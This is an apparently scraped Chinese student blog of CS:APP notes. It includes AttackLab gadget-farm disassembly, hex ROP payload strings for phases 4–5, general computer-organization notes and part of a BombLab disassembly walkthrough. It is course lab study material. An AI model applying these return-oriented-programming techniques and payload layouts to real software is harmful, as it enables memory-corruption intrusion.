401aed:\tc7 07 58 90 90 90 movl $0x90909058,(%rdi) 401af3:\tc3 ret 0000000000401af4 \u0026lt;mid_farm\u0026gt;: 401af4:\tb8 01 00 00 00 mov $0x1,%eax 401af9:\tc3 ret 0000000000401afa \u0026lt;add_xy\u0026gt;: 401afa:\t48 8d 04 37 lea (%rdi,%rsi,1),%rax ; 2.7(401afa) 这里就是直接设计好的 401afe:\tc3 ret 0000000000401aff \u0026lt;getval_314\u0026gt;: 401aff:\tb8 a9 c9 d6 90 mov $0x90d6c9a9,%eax 401b04:\tc3 ret 0000000000401b05 \u0026lt;addval_442\u0026gt;: 401b05:\t8d 87 48 09 e0 90 lea -0x6f1ff6b8(%rdi),%eax 401b0b:\tc3 ret 0000000000401b0c \u0026lt;addval_139\u0026gt;: 401b0c:\t8d 87 89 ca 90 90 lea -0x6f6f3577(%rdi),%eax 401b12:\tc3 ret 0000000000401b13 \u0026lt;addval_491\u0026gt;: 401b13:\t8d 87 1f 4b 89 d6 lea -0x2976b4e1(%rdi),%eax ; 2.6(401b17) mov %edx,%esi 401b19:\tc3 ret 0000000000401b1a \u0026lt;setval_367\u0026gt;: 401b1a:\tc7 07 bb 48 89 e0 movl $0xe08948bb,(%rdi) ; 2.1(401b1d) mov %rsp,%rax 401b20:\tc3 ret 0000000000401b21 \u0026lt;getval_215\u0026gt;: 401b21:\tb8 48 89 e0 c1 mov $0xc1e08948,%eax 401b26:\tc3 ret 0000000000401b27 \u0026lt;setval_192\u0026gt;: 401b27:\tc7 07 89 c1 92 90 movl $0x9092c189,(%rdi) 401b2d:\tc3 ret 0000000000401b2e \u0026lt;getval_418\u0026gt;: 401b2e:\tb8 89 ca 84 c0 mov $0xc084ca89,%eax ;2.5(401b2f) mov %ecx,%edx test %al,%al 401b33:\tc3 ret 0000000000401b34 \u0026lt;addval_318\u0026gt;: 401b34:\t8d 87 8b d6 84 c0 lea -0x3f7b2975(%rdi),%eax 401b3a:\tc3 ret 0000000000401b3b \u0026lt;setval_167\u0026gt;: 401b3b:\tc7 07 48 89 e0 94 movl $0x94e08948,(%rdi) 401b41:\tc3 ret 0000000000401b42 \u0026lt;setval_410\u0026gt;: 401b42:\tc7 07 df 89 ca 91 movl $0x91ca89df,(%rdi) 401b48:\tc3 ret 0000000000401b49 \u0026lt;setval_408\u0026gt;: 401b49:\tc7 07 95 48 81 e0 movl $0xe0814895,(%rdi) 401b4f:\tc3 ret 0000000000401b50 \u0026lt;setval_115\u0026gt;: 401b50:\tc7 07 88 d6 90 c3 movl $0xc390d688,(%rdi) 401b56:\tc3 ret 0000000000401b57 \u0026lt;setval_336\u0026gt;: 401b57:\tc7 07 48 89 e0 90 movl $0x90e08948,(%rdi) 401b5d:\tc3 ret 0000000000401b5e \u0026lt;addval_315\u0026gt;: 401b5e:\t8d 87 89 c1 a4 c0 lea -0x3f5b3e77(%rdi),%eax 401b64:\tc3 ret 0000000000401b65 \u0026lt;setval_400\u0026gt;: 401b65:\tc7 07 89 ca 28 d2 movl $0xd228ca89,(%rdi) 401b6b:\tc3 ret 0000000000401b6c \u0026lt;getval_226\u0026gt;: 401b6c:\tb8 88 d6 38 c0 mov $0xc038d688,%eax 401b71:\tc3 ret 0000000000401b72 \u0026lt;getval_388\u0026gt;: 401b72:\tb8 c9 c1 20 c9 mov $0xc920c1c9,%eax ; (401b75) 401b77:\tc3 ret 0000000000401b78 \u0026lt;getval_379\u0026gt;: 401b78:\tb8 68 89 e0 c3 mov $0xc3e08968,%eax 401b7d:\tc3 ret 0000000000401b7e \u0026lt;getval_495\u0026gt;: 401b7e:\tb8 89 d6 92 c3 mov $0xc392d689,%eax 401b83:\tc3 ret 0000000000401b84 \u0026lt;addval_434\u0026gt;: 401b84:\t8d 87 89 ca 28 d2 lea -0x2dd73577(%rdi),%eax 401b8a:\tc3 ret 0000000000401b8b \u0026lt;getval_382\u0026gt;: 401b8b:\tb8 4c 89 e0 c3 mov $0xc3e0894c,%eax 401b90:\tc3 ret 0000000000401b91 \u0026lt;addval_100\u0026gt;: 401b91:\t8d 87 c9 c1 84 c9 lea -0x367b3e37(%rdi),%eax 401b97:\tc3 ret 0000000000401b98 \u0026lt;setval_140\u0026gt;: 401b98:\tc7 07 f8 8b c1 c3 movl $0xc3c18bf8,(%rdi) 401b9e:\tc3 ret 0000000000401b9f \u0026lt;setval_104\u0026gt;: 401b9f:\tc7 07 88 c1 84 c0 movl $0xc084c188,(%rdi) 401ba5:\tc3 ret 0000000000401ba6 \u0026lt;addval_125\u0026gt;: 401ba6:\t8d 87 89 d6 90 c3 lea -0x3c6f2977(%rdi),%eax 401bac:\tc3 ret 0000000000401bad \u0026lt;getval_111\u0026gt;: 401bad:\tb8 16 a9 09 ca mov $0xca09a916,%eax 401bb2:\tc3 ret 0000000000401bb3 \u0026lt;getval_256\u0026gt;: 401bb3:\tb8 a9 ca 20 db mov $0xdb20caa9,%eax 401bb8:\tc3 ret 0000000000401bb9 \u0026lt;getval_170\u0026gt;: 401bb9:\tb8 89 c1 08 d2 mov $0xd208c189,%eax 401bbe:\tc3 ret 0000000000401bbf \u0026lt;setval_102\u0026gt;: 401bbf:\tc7 07 0e 89 c1 c3 movl $0xc3c1890e,(%rdi) ; 2.4(401bc2) mov %eax,%ecx 401bc5:\tc3 ret 0000000000401bc6 \u0026lt;getval_364\u0026gt;: 401bc6:\tb8 81 d6 90 90 mov $0x9090d681,%eax 401bcb:\tc3 ret 0000000000401bcc \u0026lt;setval_159\u0026gt;: 401bcc:\tc7 07 89 ca c1 ce movl $0xcec1ca89,(%rdi) 401bd2:\tc3 ret 0000000000401bd3 \u0026lt;end_farm\u0026gt;: 401bd3:\tb8 01 00 00 00 mov $0x1,%eax 401bd8:\tc3 ret 那么我们输入的字节码如下：\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 1a 40 00 00 00 00 00 6f 64 e6 14 00 00 00 00 dc 1a 40 00 00 00 00 00 11 19 40 00 00 00 00 00 一定要把地址数清楚孩子们，因为有一个地址我没有数清楚而浪费了很长时间，不过解决段错误也是一种学习。（很难蚌的住啊）\nphase5: # 据说这是最难的一层，不过既然已经接触了汇编语言，那还是来试试看！\n解题思路来自于上面的Blog，在栈随机化的情况下，把rsp指针作为一个参考点来找到我们需要的参数。\n设计的asm：\nphase5.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 \u0026lt;.text\u0026gt;: 0:\t48 89 e0 mov %rsp,%rax 3:\tc3 ret 4:\t48 89 c7 mov %rax,%rdi 7:\tc3 ret 8:\t58 pop %rax 9:\t90 nop a:\tc3 ret b:\t89 c1 mov %eax,%ecx d:\t90 nop e:\tc3 ret f:\t89 ca mov %ecx,%edx 11:\t84 c0 test %al,%al 13:\tc3 ret 14:\t89 d6 mov %edx,%esi 16:\t20 d2 and %dl,%dl 18:\tc3 ret 19:\t48 8d 04 37 lea (%rdi,%rsi,1),%rax 1d:\t48 89 c7 mov %rax,%rdi 20:\tc3 ret 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1d 1b 40 00 00 00 00 00 dc 1a 40 00 00 00 00 00 c3 1a 40 00 00 00 00 00 48 00 00 00 00 00 00 00 c2 1b 40 00 00 00 00 00 2f 1b 40 00 00 00 00 00 17 1b 40 00 00 00 00 00 fa 1a 40 00 00 00 00 00 dc 1a 40 00 00 00 00 00 22 1a 40 00 00 00 00 00 31 34 65 36 36 34 36 66 00 00 00 00 00 00 00 00 大功告成！！！抄别人写的就是简单啊（），如果说有难度，那其实在于你要写一串没有bug的汇编然后去找，但是看别人的就不难了（？）。\n","date":"2025-03-20","externalUrl":null,"permalink":"/zh-cn/csapp/csappattacklab/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eCSAPP:AttackLab \n    \u003cdiv id=\"csappattacklab\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#csappattacklab\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!WARNING]\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e通过本实验，你将学习到利用安全性漏洞攻击操作系统和网络服务器的方法。本实验的目的是通过模拟攻击来增进对安全漏洞的理解和防范意识，了解安全漏洞的本质。本实验内容应仅用于学习目的，严禁用于任何非法或不道德的活动。\u003c/li\u003e\n\u003cli\u003e本实验开始前，需要学习CS:APP3e第3.10.3节和第3.10.4节的知识。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://arthals.ink/blog/attack-lab\" target=\"_blank\"\u003ehttps://arthals.ink/blog/attack-lab\u003c/a\u003e 你还是可以参考这位的博客。\u003c/li\u003e\n\u003c/ol\u003e\u003c/blockquote\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003escp -p -r 2236115135-ics@x86.ics.xjtu-ants.net:./attacklab-2236115135-1235135 ~/ //scp下载远程服务器上的文件，如果要本地开发这是好的办法\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e前三层是CI（代码注入攻击）攻击，后两层是ROP（返回导向编程）攻击。\u003c/p\u003e","title":"CSAPP:AttackLab","type":"csapp"},{"content":" Computer Organization # [!NOTE]\n在本篇之前，我已经实现了一个非常简单的CPU（感觉都是属于数字电路的内容，当然也是计组的一部分），课程笔记以及资源都来自于B站：Cs Primer。\n所以在这里只是简单记录一些感觉有必要的理论知识，还会不断补充。\nCache（存储器层次结构） # 1.DRAM SRAM SSD 机械硬盘读写以及存储，取内存和实际CPU之间的差异性。\n2.程序的局部性（Locality）:程序倾向于引用邻近于最近引用过的数据项或者是已经引用过的数据项本身（for遍历数组）\na.空间局部性 b.时间局部性\n引入：\n高速缓存存储器 # 1.结构 # SBE为总的大小。\n寻址原理：hash\n2.直接映射高速缓存（direct-mapped cache） # 就是每组只有一个行\n过程\na.组选择\n为什么把中间的位作为组索引而不是更高的位？\n如果高位做索引，那么很容易把一堆连续的块映射到一组高速缓存块里面，这样不符合空间局部性。\n中间的随机性相对更大一些。\nb.找到了组，进行行匹配\nc.根据块偏移位来寻找第一个字节的位置\nd.如果没有命中，从下一级内存中取相应的内存块并且直接做替换的操作\ne.实际过程：开始缓存为空，冷不命中，从L2中加载数据到L1,然后返回，接着假如标志位不相同，发生冲突不命中，进行替换操作。\nd.冲突不命中常见：thrash,高速缓存反复的加载和驱逐相同的一些组。\n3.组相联高速缓存(set associative cache) # 就是每个组包含多于一个的行\n和每个行进行一次匹配\nLFU和LRU策略\n4.全相联高速缓存（fully asscociative cache） # 就是只有一个组，里面有很多行\n没有组的选择，只有标记位和块偏移。\n单周期多周期处理器 # 一个时钟周期内完成一条指令\n多周期就是一条指令多个时钟周期\n流水线技术 # 五阶段流水线 # 把每个指令都填充成五个阶段，防止冲突\n流水线冒险 # 结构冒险：硬件资源产生冲突 # 数据冒险：逻辑上的数据依赖性产生冲突 # 控制冒险：跳转到别的指令，导致流水线之前准备的指令无效 # 解决：分支预测（动态）\n在X86系统上编写和运行程序 # 一个C程序处理流程 # 预处理-编译-汇编-链接-程序加载执行\n假设我们有文件main.c hello.c\ngcc main.c hello.c\t//这一条指令包含了上述的四个步骤 gcc -E hello.c -o hello.i //这表示对于文件进行预处理 -o是指定名称（擦除并且进行复制粘贴的流程） gcc -S hello.i -o hello.s\t//把预处理之后的文件处理成汇编代码 gcc -c hello.s -o hello.o\t//汇编成一个二进制文件，但是不进行链接的操作 工具：readelf（查看段的偏移） objdump（反汇编） hexdump（查看二进制文件的机器码）\ngcc main.o hello.o\t//直接将两个文件进行链接，如下是链接的过程 接着是程序加载执行的流程\n常见X86汇编指令 # 可以参照CSAPP熟悉基本语法，达到能读的要求即可\n[!TIP]\njmp类条件跳转指令之前可以跟其他许多指令\n比如 subl a,b 也可以看a和b之间满足的条件\n64位使用的寄存器 # 数据传送指令 # move：不能从内存直接到内存传送 # [!NOTE]\n我看过好几遍书，但是我感觉自己最难理解的地方就是函数的调用以及递归这里的东西，建议大家从push这里开始细细理解。\npush指令： # 1.把栈指针减去8,得到栈顶位置，此时栈顶还没有元素。2.把目的操作数放到栈顶。（push只要一个byte，栈上只是放了一堆data，和寄存器，和内存都没有关系）\n那么pop指令同理：1.把栈顶的值读入一个目标寄存器。2.把栈指针加8。\n条件控制 # if for while等语句都是条件跳转来实现的\nswitch语句当case范围较大时也是条件跳转，当范围较小是利用跳转表，一个连续数组的值域包含了所有的case情况(并且case的数量较多)\n*Process（过程） # 控制 + 传递 + 内存管理\n运行时栈（提前准备） # P去调用Q，首先存放返回地址，表明Q返回时从P的哪个位置开始执行，这个地址也是P栈帧的一部分。\n接着为Q分配一个栈帧，大多数的栈帧都是定长的，通过寄存器传递参数，如果大于6个，P在调用Q之前提前在自己的栈帧里存储好这些参数。\n转移控制（怎么交接控制权利） # call:把rip的值设置成callee的首地址，这样就把执行权利转换，接着把call指令下一条指令的地址压入栈中。\nret：把压入栈的地址弹出来，并且把rip的值设置成这个地址，这样就交还了控制权利。\n数据传送（怎么给Callee传递一些参数） # 在参数小于6个的情况下，我们直接用寄存器来传递，用rax来获得调用方法的返回值即可。\n在上图的Current frame中有一个Argument build area，这就是一个参数构造区，如果它也要调用一个参数多于6个的方法，那么就要提前在自己的栈帧里准备好，再执行call指令（注意：第七个参数会在栈的顶部）。\n栈上的局部存储（Callee中的局部变量是怎么实现的） # 比如局部变量太多，要取局部变量的一个地址，或者局部变量是数组及结构体等。\n还是上图，参数构造区之上就是我们减少栈指针分配给局部变量的空间。\n下例出自CSAPP\nlong swap_add (long *XP , long * yp) { long x = *xp ; long y = * yp ; *xp = y ; *yp = x ; return x + y ; } long caller () { //要处理以下两个局部变量，我就要为他们产生地址。 long argl = 534 ; long arg2 = 1057 ; long sum = swap_add (\u0026amp;argl , \u0026amp;arg2) ; long diff = argl - arg2 ; return sum * diff; } 以下是汇编代码\nlong caller() caller: subq $16 , %rsp movq $534 , (%rsp) movq $1057 , 8(%rsp) leaq 8(%rsp) , %rsi movq %rsp , %rdi call swap_add\t;这里的细节：方法虽然已经返回（返回之后之前压入的返回地址就会被弹出），但是栈帧还在，所以分配的局部变量还在 movq (%rsp) , %rdx subq 8(%rsp) ,%rdx imulq %rdx , %rax addq $16 , %rsp\t;此时栈帧不存在，会被后来的data覆盖掉 ret 栈帧分配到底拿来干嘛了？\n看下图：\n分配栈帧，先用来存放本方法要用的局部变量，接着是多于6个的参数从右至左依次压入栈中，然后call，注意，不要混淆局部变量和传递的参数，在被调用的方法中是不会用前一个方法栈帧中的局部变量的。\n寄存器中的局部存储空间 # 🔹 这些寄存器主要用于什么？ # 1. 存储局部变量 # （这也是一种存储局部变量的方法，比如在for循环中的index）\n如果一个函数有局部变量，但寄存器分配不足，编译器可能会把一些变量保存在被调用者保存寄存器里，避免频繁访问栈（比栈上的变量访问快）。\n2. 维持长期变量（Long-lived variables） # 如果某个变量在整个函数生命周期内都会被使用，而非临时数据，就可能放在 %rbx、%r12-%r15 这些寄存器里。\n3. 维护栈帧指针（%rbp） # 虽然现代编译器可能会省略栈帧指针（Frame Pointer Omission, FPO），但在调试模式下，%rbp 仍然用于保持当前函数的栈基址，帮助回溯调用栈。\n4. 传递跨函数调用的值 # 在一些情况下，如果一个值需要在多个函数调用之间保持不变，就可能存入被调用者保存寄存器，比如：\n递归函数中，某些参数可能需要跨多次递归调用保持不变。 在协程或上下文切换的代码里，某些寄存器可能存储特定的任务状态。 递归过程 # 到这里，理解递归过程就是简单的了，调用自己和调用任何一个过程都是类似的，每个函数都有自己的私有的栈帧。\n我们难理解的情况是栈帧里东西太复杂的情况。\n数组的分配和访问 # 1.指针访问，如果是地址，就用leaq加载有效地址，如果是取值就用mov指令即可。\n2.多维数组\n3.定长变长数组以及结构体\n关于缓冲区溢出问题 # C语言基础 # 关于位运算的技巧\n宏定义函数多行用\\分开，用do {\u0026hellip;\u0026hellip;} while(0)吃掉;（细节问题）\n内联函数：类似宏定义，调用的函数不跳转，直接展开，节约资源（根据编译器的情况而定)\nstatic inline int(...){......}\t//一般这样定义在头文件里使用 关于C语言不再赘述\n浮点数详解 # 浮点数存储形式 # （小数点浮动）进制转换（数字电路内容）\n[!NOTE]\nIEEE754典中典\n这里的尾数其实指的就是小数点之后的二进制表示：\n比如2.5 = 10.1b\n即 $$ 2.5 = 1.01*2^1 $$\n[!NOTE]\n这是一个规格化的浮点数，所谓规格化，我们默认一个浮点数是大于1的，即有一个隐含的前导1,我们只在尾数的23位中存储小数点的部分即可，但是如果指数部分为0,但是尾数不为0,这就是一个非规格化的浮点数，计算的规则已经发生了改变，此时的指数为1-bias，为了产生平滑的过渡。\n非规格化浮点数及舍入的问题 # 舍入：就近舍入，相同0优先\n指数部分越大，密度变小，精度就会变低\n浮点数的运算 # 先把指数设置相同，再相加这会导致大数吃掉小数的情况产生\n采用如下的累加算法\n比较问题：0.1 + 0.2 != 0.3（无限不循环小数相加导致的）\n[!NOTE]\n还有一个值得注意的点是转换类型时候的最近偶数舍入（银行家舍入），这有利于减少累积舍入的误差。\n课后作业 # 此时我们去做CSAPP的3个lab，并且把CSAPP2,3章的课后习题都解决一遍（我懒的写第二章了，我只写一下第三章的内容）\n1.datalab\n2.bomblab（gdb的使用，很有难度,我觉得可以先多看看书，做一下练习和课后习题，理解之后再去上手）\ngdb常用指令（来自https://arthals.ink/blog/bomb-lab作为参考的blog）\np $rax # 打印寄存器 rax 的值 p $rsp # 打印栈指针的值 p/x $rsp # 打印栈指针的值，以十六进制显示 p/d $rsp # 打印栈指针的值，以十进制显示 x/2x $rsp # 以十六进制格式查看栈指针 %rsp 指向的内存位置 M[%rsp] 开始的两个单位。 x/2d $rsp # 以十进制格式查看栈指针 %rsp 指向的内存位置 M[%rsp] 开始的两个单位。 x/2c $rsp # 以字符格式查看栈指针 %rsp 指向的内存位置 M[%rsp] 开始的两个单位。 x/s $rsp # 把栈指针指向的内存位置 M[%rsp] 当作 C 风格字符串来查看。 x/b $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 1 字节。 x/h $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 2 字节（半字）。 x/w $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 4 字节（字）。 x/g $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 8 字节（双字）。 info registers # 打印所有寄存器的值 info breakpoints # 打印所有断点的信息 delete breakpoints 1 # 删除第一个断点，可以简写为 d 1 3.attacklab（模拟攻击）\n[!NOTE]\n上述工作会花费很长时间，但是欲速则不达，如果难以下手，你可以参考CSDIY上的一些推荐博客。\n链接简单解读 # Static Linking # 可以理解是怎么把你写的多文件程序整合在一起运行。\n可重定位目标文件的分析(Relocatable File) # 单个文件汇编之后，后缀为.o的文件就是一个可重定位目标文件。\n（用以下的两个程序）\nreadelf -a main.o\t//分析elf文件内容 hexdump -C main.o\t//直接查看文件的二进制信息 符号表信息 # 弱符号和强符号 # 可执行文件 # 查看可执行文件的Program Header（可执行文件是怎么被加载执行的？）\nProgram Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x001020 0x00800020 0x00800020 0x00198 0x00198 R E 0x1000 LOAD 0x002000 0x00801000 0x00801000 0x00038 0x00050 RW 0x1000 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10 Section to Segment mapping: Segment Sections... 00 .text .rodata 01 .data .bss 02 静态链接的过程 # /* Simple linker script for os user-level programs. See the GNU ld \u0026#39;info\u0026#39; manual (\u0026#34;info ld\u0026#34;) to learn the syntax. */ //一个简单的linker脚本 OUTPUT_FORMAT(\u0026#34;elf32-i386\u0026#34;, \u0026#34;elf32-i386\u0026#34;, \u0026#34;elf32-i386\u0026#34;)\t//输出格式 OUTPUT_ARCH(i386)\t//架构类型 ENTRY(main)\t//程序的入口点（main函数） SECTIONS { /* Load programs at this address: \u0026#34;.\u0026#34; means the current address */ //在这个地址对程序进行加载 . = 0x800020; //以下都是把每个目标文件中的相同的段合并到新的段 .text : { *(.text .stub .text.* .gnu.linkonce.t.*) } PROVIDE(etext = .); /* Define the \u0026#39;etext\u0026#39; symbol to this value */ .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } /* Adjust the address for the data segment to the next page */ //转页进行存储，以上的页就可以设置成ro的一个页 . = ALIGN(0x1000); .data : { *(.data) } //记录下来，把.bss段设置成0 PROVIDE(edata = .); .bss : { *(.bss) } PROVIDE(end = .); /DISCARD/ : { *(.eh_frame .note.GNU-stack .comment) } } 重定位信息 # ","date":"2025-03-10","externalUrl":null,"permalink":"/zh-cn/csapp/computerorgnization/","section":"","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003eComputer Organization\u003c/strong\u003e \n    \u003cdiv id=\"computer-organization\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#computer-organization\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!NOTE]\u003c/p\u003e\n\u003cp\u003e在本篇之前，我已经实现了一个非常简单的CPU（感觉都是属于数字电路的内容，当然也是计组的一部分），课程笔记以及资源都来自于B站：Cs Primer。\u003c/p\u003e\n\u003cp\u003e所以在这里只是简单记录一些感觉有必要的理论知识，还会不断补充。\u003c/p\u003e","title":"ComputerOrgnization","type":"csapp"},{"content":" CSAPP:BombLab # [!NOTE]\n本文主要参考博客：arthals.ink，如果你要学习方法，你只要看TA写的就可以了，我只看了前两层， 只是做个记录，我认为对于我来说很好的解决问题方式就是写注释(所以我这里有逐行的注释)。\ngdb指令：\np $rax # 打印寄存器 rax 的值 p $rsp # 打印栈指针的值 p/x $rsp # 打印栈指针的值，以十六进制显示 p/d $rsp # 打印栈指针的值，以十进制显示 x/2x $rsp # 以十六进制格式查看栈指针 %rsp 指向的内存位置 M[%rsp] 开始的两个单位。 x/2d $rsp # 以十进制格式查看栈指针 %rsp 指向的内存位置 M[%rsp] 开始的两个单位。 x/2c $rsp # 以字符格式查看栈指针 %rsp 指向的内存位置 M[%rsp] 开始的两个单位。 x/s $rsp # 把栈指针指向的内存位置 M[%rsp] 当作 C 风格字符串来查看。 x/b $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 1 字节。 x/h $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 2 字节（半字）。 x/w $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 4 字节（字）。 x/g $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 8 字节（双字）。 info registers # 打印所有寄存器的值 info breakpoints # 打印所有断点的信息 delete breakpoints 1 # 删除第一个断点，可以简写为 d 1 phase1: # 比较简单，就是对比一下字符串，熟悉一下。\n00000000000015ab \u0026lt;phase_1\u0026gt;: 15ab:\tf3 0f 1e fa endbr64 15af:\t48 83 ec 08 sub $0x8,%rsp 15b3:\t48 8d 35 f2 1a 00 00 lea 0x1af2(%rip),%rsi # 这很简单，你只要查看rsi里面存放了什么东西就可以 15ba:\te8 f3 05 00 00 call 1bb2 \u0026lt;strings_not_equal\u0026gt; 15bf:\t85 c0 test %eax,%eax 15c1:\t75 05 jne 15c8 \u0026lt;phase_1+0x1d\u0026gt; 15c3:\t48 83 c4 08 add $0x8,%rsp 15c7:\tc3 ret 15c8:\te8 f9 06 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 15cd:\teb f4 jmp 15c3 \u0026lt;phase_1+0x18\u0026gt; phase2: # 先看phase_2的代码，这是典型的循环\n00000000000015cf \u0026lt;phase_2\u0026gt;: 15cf:\tf3 0f 1e fa endbr64 # 用来防止ROP攻击 15d3:\t55 push %rbp # 两个局部变量 15d4:\t53 push %rbx 15d5:\t48 83 ec 28 sub $0x28,%rsp # 分配了40个字节 15d9:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax # 金丝雀值，用来防止恶意修改 15e0:\t00 00 15e2:\t48 89 44 24 18 mov %rax,0x18(%rsp) # 把金丝雀值保存起来，这样被修改的时候就会提醒 15e7:\t31 c0 xor %eax,%eax # ??? 15e9:\t48 89 e6 mov %rsp,%rsi # 栈指针的值赋给了rsi 15ec:\te8 2d 07 00 00 call 1d1e \u0026lt;read_six_numbers\u0026gt; # 调用一个读取6个数字的函数 15f1:\t83 3c 24 01 cmpl $0x1,(%rsp) # 第一个数字为1 15f5:\t75 0a jne 1601 \u0026lt;phase_2+0x32\u0026gt; 15f7:\t48 89 e3 mov %rsp,%rbx # rbx为当前栈顶的地址 15fa:\t48 8d 6c 24 14 lea 0x14(%rsp),%rbp # rbp存放rsp + 20bytes的地址 0 4 8 12 16 20刚好六个数字用栈传递 15ff:\teb 10 jmp 1611 \u0026lt;phase_2+0x42\u0026gt; # 无条件跳转1611 1601:\te8 c0 06 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1606:\teb ef jmp 15f7 \u0026lt;phase_2+0x28\u0026gt; 1608:\t48 83 c3 04 add $0x4,%rbx # 相等的情况下考察第二个参数的情况 160c:\t48 39 eb cmp %rbp,%rbx # 循环终止条件 160f:\t74 10 je 1621 \u0026lt;phase_2+0x52\u0026gt; 1611:\t8b 03 mov (%rbx),%eax # 取第一个参数到eax 1613:\t01 c0 add %eax,%eax # eax = eax * 2 1615:\t39 43 04 cmp %eax,0x4(%rbx) # 和第二个参数作比较 1618:\t74 ee je 1608 \u0026lt;phase_2+0x39\u0026gt; # 相等继续，不相等爆炸 161a:\te8 a7 06 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 161f:\teb e7 jmp 1608 \u0026lt;phase_2+0x39\u0026gt; 1621:\t48 8b 44 24 18 mov 0x18(%rsp),%rax 1626:\t64 48 2b 04 25 28 00 sub %fs:0x28,%rax 162d:\t00 00 162f:\t75 07 jne 1638 \u0026lt;phase_2+0x69\u0026gt; 1631:\t48 83 c4 28 add $0x28,%rsp 1635:\t5b pop %rbx 1636:\t5d pop %rbp 1637:\tc3 ret 1638:\te8 13 fc ff ff call 1250 \u0026lt;__stack_chk_fail@plt\u0026gt; 再看它调用的读取六个数字的function\n0000000000001d1e \u0026lt;read_six_numbers\u0026gt;: 1d1e:\tf3 0f 1e fa endbr64 1d22:\t48 83 ec 08 sub $0x8,%rsp # 再分配8个字节 1d26:\t48 89 f2 mov %rsi,%rdx # 记住rsi是上一层栈顶的位置放到rdx这里 1d29:\t48 8d 4e 04 lea 0x4(%rsi),%rcx # 把这些参数用寄存器向下一个sscanf传递 1d2d:\t48 8d 46 14 lea 0x14(%rsi),%rax 1d31:\t50 push %rax 1d32:\t48 8d 46 10 lea 0x10(%rsi),%rax 1d36:\t50 push %rax 1d37:\t4c 8d 4e 0c lea 0xc(%rsi),%r9 1d3b:\t4c 8d 46 08 lea 0x8(%rsi),%r8 1d3f:\t48 8d 35 b6 15 00 00 lea 0x15b6(%rip),%rsi # 32fc \u0026lt;array.0+0x1fc\u0026gt; 这里应该是我们输入的数字 int sscanf(const char *str, const char *format, ...); 1d46:\tb8 00 00 00 00 mov $0x0,%eax # 分析一下sscanf的参数 rdi:就是我们输入的string,rsi是格式,就是\u0026#34;%d %d %d %d %d %d\u0026#34;,rdx是第一个数,rcx是第二个数,r8是第三个数,r9是第四个数,现在寄存器不够用，用栈传递参数，并且是从右向左的这就很好理解了 1d4b:\te8 b0 f5 ff ff call 1300 \u0026lt;__isoc99_sscanf@plt\u0026gt; #这里要调用sscanf函数 1d50:\t48 83 c4 10 add $0x10,%rsp 1d54:\t83 f8 05 cmp $0x5,%eax 1d57:\t7e 05 jle 1d5e \u0026lt;read_six_numbers+0x40\u0026gt; 1d59:\t48 83 c4 08 add $0x8,%rsp 1d5d:\tc3 ret 1d5e:\te8 63 ff ff ff call 1cc6 \u0026lt;explode_bomb\u0026gt; phase3: # 本层就是关于一些条件的判断(大概就是switch语句)（理解提升了，之前自己肯定没办法做出来的）：\n000000000000163d \u0026lt;phase_3\u0026gt;: # 提醒是关于switch语句,不是哥们是否有些太长了 163d:\tf3 0f 1e fa endbr64 # 我们按照线性的方法先走一遍程序 1641:\t48 83 ec 28 sub $0x28,%rsp # 分配了40个字节 1645:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax # 金丝雀值 164c:\t00 00 164e:\t48 89 44 24 18 mov %rax,0x18(%rsp) # 金丝雀值放在24个字节开始的位置 1653:\t31 c0 xor %eax,%eax # 检查 1655:\t48 8d 4c 24 0f lea 0xf(%rsp),%rcx # rcx = rsp + 15 占一个字节 第四个参数 a2 165a:\t48 8d 54 24 10 lea 0x10(%rsp),%rdx # rdx = rsp + 16 占四个字节 第三个参数 a1 165f:\t4c 8d 44 24 14 lea 